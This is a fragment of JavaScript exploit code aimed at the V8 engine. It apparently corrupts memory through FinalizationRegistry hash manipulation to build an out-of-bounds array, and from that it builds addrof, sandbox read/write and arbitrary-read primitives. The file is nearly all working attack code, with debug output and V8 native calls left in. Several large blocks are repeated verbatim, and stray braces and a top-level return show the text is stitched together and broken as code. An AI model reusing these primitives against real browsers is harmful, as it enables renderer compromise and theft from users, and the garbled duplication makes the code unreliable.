console.log("[*] Corrupt obj get in"); let corrupt_vic_idx = -1; let corrupt_obj_idx = -1; let corrupt_obj_hash = -1; // HashField::kMax = 2^20 - 1 = 1048575 = 0xFFFFF for (let current_hash = 1; current_hash < 0x100000; current_hash++) { let fake_kv = build_kv(current_hash, undefined_value); init_arr(victim_arr, fake_kv); // p(unregister_token); // p(registry); // p(victim_arr); // p(arr_with_hash_object); for (let i = 0; i < arr_with_hash_object.length; i++){ registry.unregister(arr_with_hash_object[i]); } corrupt_vic_idx = find_vic_idx(victim_arr, fake_kv); if (corrupt_vic_idx == -1){ continue; } // p(victim_arr); init_arr(victim_arr, fake_kv); for (let i = 0; i < arr_with_hash_object.length; i++){ registry.unregister(arr_with_hash_object[i]); for (let j = 0; j < victim_arr.length; j++){ if (victim_arr[j] != fake_kv){ corrupt_obj_idx = i; corrupt_obj_hash = current_hash; %DebugPrint(victim_arr); logg("corrupt_obj_idx",corrupt_obj_idx); logg("corrupt_obj_hash",corrupt_obj_hash); %SystemBreak(); break; } } if ((corrupt_obj_idx != -1) && (corrupt_obj_hash != -1) ){ break; } } if ((corrupt_vic_idx != -1) && (corrupt_obj_idx != -1) && (corrupt_obj_hash != -1)){ break; } // console.log("[+] Found at hash: 0x" + current_hash.toString(16)); } // p(arr_with_hash_object); console.log("[+] Corrupt vic idx: " + corrupt_vic_idx); console.log("[+] Corrupt obj idx: " + corrupt_obj_idx); console.log("[+] Corrupt obj hash: 0x" + corrupt_obj_hash.toString(16)); console.log("[*] Corrupt obj get out"); return [corrupt_vic_idx,corrupt_obj_idx,corrupt_obj_hash];}console.log("[*] Construct oob arr in");let hash_obj = arr_with_hash_object[corrupt_obj_idx];let oob_arr_addr_start = 0x1c0000;let oob_arr_addr_end = 0x2000000;let oob_arr_step = 0x100;let oob_arr_init_val = lh_u32_to_f64(0xaaaaaaaa, 0xaaaaaaaa);let oob_arr_idx = -1;let tmp_weak_cell_val = -1;let offset = 0x1c;let align_offset = 0;let oob_arr_element_addr = -1;let oob_addr_element_offset = 0x1020;let out_loop = false;let oob_arr = [];for (let i = 0; i < 0x100; i++){ oob_arr[i] = 1.1;}for (let i = oob_arr_addr_start; i < oob_arr_addr_end; i += oob_arr_step){ let fake_kv = build_kv(corrupt_obj_hash, i | 1); victim_arr[corrupt_vic_idx] = victim_arr[corrupt_vic_idx + 1] = fake_kv; init_arr(oob_arr, oob_arr_init_val); // p(oob_arr); // stop(); registry.register(hash_obj, undefined, hash_obj); for (let j = 0; j < oob_arr.length; j++){ if (oob_arr[j] != oob_arr_init_val){ oob_arr_idx = j; logg("oob_arr_idx",oob_arr_idx); logg("oob_arr_addr",i); // p(registry); // p(victim_arr); // p(oob_arr); tmp_weak_cell_val = f64_to_u32l(oob_arr[oob_arr_idx]); if ((f64_to_u32l(oob_arr[oob_arr_idx]) & 0xff) == 0xaa){ tmp_weak_cell_val = f64_to_u32h(oob_arr[oob_arr_idx]); align_offset = 1; } // logg("raw tmp weak cell val",f64_to_u64(oob_arr[oob_arr_idx])); // logg("tmp weak cell val",tmp_weak_cell_val); // logg("align_offset",align_offset); oob_arr_element_addr = i + offset - (oob_arr_idx) * 8 - align_offset * 4 - 8 ; // stop(); break; } if(oob_arr_element_addr > 0){ out_loop = true; break; } } if(out_loop){ break; }}let guess_obj_addr = -1;let target_addr = -1;let idx = 0;// guess_obj_addr = oob_arr_element_addr - oob_addr_element_offset;guess_obj_addr = oob_arr_element_addr;target_addr = guess_obj_addr+0x5+0x1;let fake_kv = build_kv(corrupt_obj_hash, ((target_addr - 0x1c)));victim_arr[corrupt_vic_idx] = victim_arr[corrupt_vic_idx + 1] = fake_kv;logg("oob_arr_element_addr",oob_arr_element_addr);logg("target_addr",target_addr);console.log("[*] Construct oob arr out");registry.register(hash_obj, undefined, hash_obj);console.log("[*] Construct oob arr in");let hash_obj = arr_with_hash_object[corrupt_obj_idx];let oob_arr_addr_start = 0x1c0000;let oob_arr_addr_end = 0x2000000;let oob_arr_step = 0x100;let oob_arr_init_val = lh_u32_to_f64(0xaaaaaaaa, 0xaaaaaaaa);let oob_arr_idx = -1;let tmp_weak_cell_val = -1;let offset = 0x1c;let align_offset = 0;let oob_arr_element_addr = -1;let oob_addr_element_offset = 0x1020;let out_loop = false;let oob_arr = [];for (let i = 0; i < 0x100; i++){ oob_arr[i] = 1.1;}for (let i = oob_arr_addr_start; i < oob_arr_addr_end; i += oob_arr_step){ let fake_kv = build_kv(corrupt_obj_hash, i | 1); victim_arr[corrupt_vic_idx] = victim_arr[corrupt_vic_idx + 1] = fake_kv; init_arr(oob_arr, oob_arr_init_val); // p(oob_arr); // stop(); registry.register(hash_obj, undefined, hash_obj); for (let j = 0; j < oob_arr.length; j++){ if (oob_arr[j] != oob_arr_init_val){ oob_arr_idx = j; logg("oob_arr_idx",oob_arr_idx); logg("oob_arr_addr",i); // p(registry); // p(victim_arr); // p(oob_arr); tmp_weak_cell_val = f64_to_u32l(oob_arr[oob_arr_idx]); if ((f64_to_u32l(oob_arr[oob_arr_idx]) & 0xff) == 0xaa){ tmp_weak_cell_val = f64_to_u32h(oob_arr[oob_arr_idx]); align_offset = 1; } // logg("raw tmp weak cell val",f64_to_u64(oob_arr[oob_arr_idx])); // logg("tmp weak cell val",tmp_weak_cell_val); // logg("align_offset",align_offset); oob_arr_element_addr = i + offset - (oob_arr_idx) * 8 - align_offset * 4 - 8 ; // stop(); break; } if(oob_arr_element_addr > 0){ out_loop = true; break; } } if(out_loop){ break; }}let guess_obj_addr = -1;let target_addr = -1;let idx = 0;// guess_obj_addr = oob_arr_element_addr - oob_addr_element_offset;guess_obj_addr = oob_arr_element_addr;target_addr = guess_obj_addr+0x5+0x1;let fake_kv = build_kv(corrupt_obj_hash, ((target_addr - 0x1c)));victim_arr[corrupt_vic_idx] = victim_arr[corrupt_vic_idx + 1] = fake_kv;logg("oob_arr_element_addr",oob_arr_element_addr);logg("target_addr",target_addr);console.log("[*] Construct oob arr out");registry.register(hash_obj, undefined, hash_obj);let target_arr = [1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9];let ref_arr = make_ref(target_arr);let ab = new ArrayBuffer(0x100);let ref_ab = make_ref(ab);let dv = new DataView(ab);let obj_arr = [{},{}];let target_idx = -1;for (let i = 0; i < 0x10000000; i++){ // logg("oob_arr[i]",f64_to_u64(oob_arr[i])); if (((oob_arr[i]) == 1.1) && ((oob_arr[i+1]) == 2.2) && ((oob_arr[i+2]) == 3.3) && ((oob_arr[i+3]) == 4.4) && ((oob_arr[i+4]) == 5.5)){ target_idx = i; logg("target_idx",target_idx); break; }}if(target_idx == -1){ console.log("[x] Failed to find target_idx!"); return;}// p(target_arr);// p(obj_arr);let target_arr_element_addr = oob_arr_element_addr + (target_idx) * 8;let elements_confused_idx = target_idx + 0x50/8;let obj_arr_idx_offset = 0x21;let obj_arr_element_addr = target_arr_element_addr + (obj_arr_idx_offset) * 8;logg("target_arr_element_addr",target_arr_element_addr);logg("obj_arr_element_addr",obj_arr_element_addr);function cage_read(addr){ addr = Number(addr); if (addr & 1){ addr -= 1; } addr -= 7; let org = f64_to_u64(oob_arr[elements_confused_idx]); oob_arr[elements_confused_idx] = lh_u32_to_f64(addr, Number(org >> 32n)); let val = f64_to_u64(target_arr[0]); oob_arr[elements_confused_idx] = u64_to_f64(org); return val;}function cage_write(addr,val){ addr = Number(addr); if (addr & 1){ addr -= 1; } addr -= 7; logg("addr",addr); let org = f64_to_u64(oob_arr[elements_confused_idx]); oob_arr[elements_confused_idx] = lh_u32_to_f64(addr, Number(org >> 32n)); let org_val = f64_to_u64(target_arr[0]); // target_arr[0] = lh_u32_to_f64(val, Number(org_val >> 32n)); target_arr[0] = u64_to_f64(val); oob_arr[elements_confused_idx] = u64_to_f64(org);}function addrof(obj){ obj_arr[0] = obj; let ret = cage_read(obj_arr_element_addr); // logg("ret",ret); // stop(); return u64_to_u32_lo(ret);}function AAR(addr){ cage_write(ab_addr+0x24n,addr); let ret = dv.getBigUint64(0,true); // logg("ret",ret); return ret;}let target_arr = [1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9];let ref_arr = make_ref(target_arr);let ab = new ArrayBuffer(0x100);let ref_ab = make_ref(ab);let dv = new DataView(ab);let obj_arr = [{},{}];let target_idx = -1;for (let i = 0; i < 0x10000000; i++){ // logg("oob_arr[i]",f64_to_u64(oob_arr[i])); if (((oob_arr[i]) == 1.1) && ((oob_arr[i+1]) == 2.2) && ((oob_arr[i+2]) == 3.3) && ((oob_arr[i+3]) == 4.4) && ((oob_arr[i+4]) == 5.5)){ target_idx = i; logg("target_idx",target_idx); break; }}if(target_idx == -1){ console.log("[x] Failed to find target_idx!"); return;}// p(target_arr);// p(obj_arr);let target_arr_element_addr = oob_arr_element_addr + (target_idx) * 8;let elements_confused_idx = target_idx + 0x50/8;let obj_arr_idx_offset = 0x21;let obj_arr_element_addr = target_arr_element_addr + (obj_arr_idx_offset) * 8;logg("target_arr_element_addr",target_arr_element_addr);logg("obj_arr_element_addr",obj_arr_element_addr);